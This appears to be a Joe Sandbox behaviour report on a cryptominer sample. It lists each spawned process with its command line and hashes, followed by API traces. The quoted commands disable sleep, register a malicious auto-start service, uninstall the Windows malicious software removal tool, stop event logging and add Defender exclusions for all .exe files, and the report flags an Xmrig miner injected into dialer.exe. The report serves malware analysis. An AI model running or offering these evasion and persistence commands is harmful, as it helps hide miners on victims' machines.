Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff600680000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "LightService"
Imagebase:	0x7ff6b45e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff71a810000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto"
Imagebase:	0x7ff6b45e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6156c0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6b45e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "LightService"
Imagebase:	0x7ff6b45e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:58:09
Start date:	04/01/2025
Path:	C:\ProgramData\IGaming\driver.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\IGaming\driver.exe
Imagebase:	0x7ff7f4f20000
File size:	2'867'712 bytes
MD5 hash:	A03484846E3418FFA2AB8AEC97A03E88
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:58:10
Start date:	04/01/2025
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff654c90000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:58:10
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2072, Parent PID: 1784

General

Target ID:	29
Start time:	16:58:10
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:58:10
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	16:58:10
Start date:	04/01/2025
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff79d4a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7caad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powercfg.exePID: 3276, Parent PID: 7064

General

Target ID:	33
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff71a810000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff791450000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff600680000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff600680000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff600680000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	16:58:12
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	16:58:13
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	16:58:13
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:58:13
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	16:58:14
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	16:58:15
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	16:58:15
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	16:58:16
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	16:58:17
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	16:58:17
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	16:58:17
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	16:58:18
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	16:58:18
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	16:58:18
Start date:	04/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.2%
Total number of Nodes:	1950
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF749F41160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF749F41156), ref: 00007FF749F411A5
_amsg_exit.MSVCRT(?,?,?,00007FF749F41156), ref: 00007FF749F411CC
_initterm.MSVCRT ref: 00007FF749F4120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF749F41156), ref: 00007FF749F4124E
malloc.MSVCRT ref: 00007FF749F4127E
strlen.MSVCRT ref: 00007FF749F412A4
malloc.MSVCRT ref: 00007FF749F412B0
memcpy.MSVCRT ref: 00007FF749F412C3
_cexit.MSVCRT(?,?,?,00007FF749F41156), ref: 00007FF749F4132D

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: fbf89af212a9236fbcd89e8a13abc7f817758a3af0e927eba919c5f762fd2f1d
Instruction ID: fe3c8a29ac9a653aebd1f9f7110b811fba32ba84110e283ec0fdda04b0ccecbd
Opcode Fuzzy Hash: fbf89af212a9236fbcd89e8a13abc7f817758a3af0e927eba919c5f762fd2f1d
Instruction Fuzzy Hash: AA512831B8D696C1F710FF29E950B79A7B5AFA4B80FC05031DA0D877E2DE2CA4918720

Function 00007FF749F41394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF749F41156), ref: 00007FF749F413F7

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 4b288eef67ca88178435c23d0b43268a82fd7f4891f0d5863e4ef906ca526c5f
Instruction ID: bf1d96b365fc8e541252a8b72505a172072ffff6911326fb091291ea3ce489eb
Opcode Fuzzy Hash: 4b288eef67ca88178435c23d0b43268a82fd7f4891f0d5863e4ef906ca526c5f
Instruction Fuzzy Hash: F4F0A47195CB41CAD714FF5AB84082AA770FBA8782B804439EA9C4266ADF3CE1508B60

Non-executed Functions

Function 00007FF749F43B60 Relevance: 128.2, APIs: 69, Strings: 3, Instructions: 2197COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF749F43C85
memset.MSVCRT ref: 00007FF749F43DAD
wcscat.MSVCRT ref: 00007FF749F43DBD
memset.MSVCRT ref: 00007FF749F43DD1
wcslen.MSVCRT ref: 00007FF749F43E3A
_wcsnicmp.MSVCRT ref: 00007FF749F43E69
wcslen.MSVCRT ref: 00007FF749F43E79
wcscpy.MSVCRT ref: 00007FF749F43EFA
wcscat.MSVCRT ref: 00007FF749F43F09
memset.MSVCRT ref: 00007FF749F43F1A
wcscpy.MSVCRT ref: 00007FF749F44042
wcscat.MSVCRT ref: 00007FF749F44051
memset.MSVCRT ref: 00007FF749F4406E
wcslen.MSVCRT ref: 00007FF749F440EC
_wcsnicmp.MSVCRT ref: 00007FF749F44119
wcslen.MSVCRT ref: 00007FF749F44129
wcscpy.MSVCRT ref: 00007FF749F44301
wcscat.MSVCRT ref: 00007FF749F44310
_wcsicmp.MSVCRT ref: 00007FF749F4431F
memset.MSVCRT ref: 00007FF749F44350
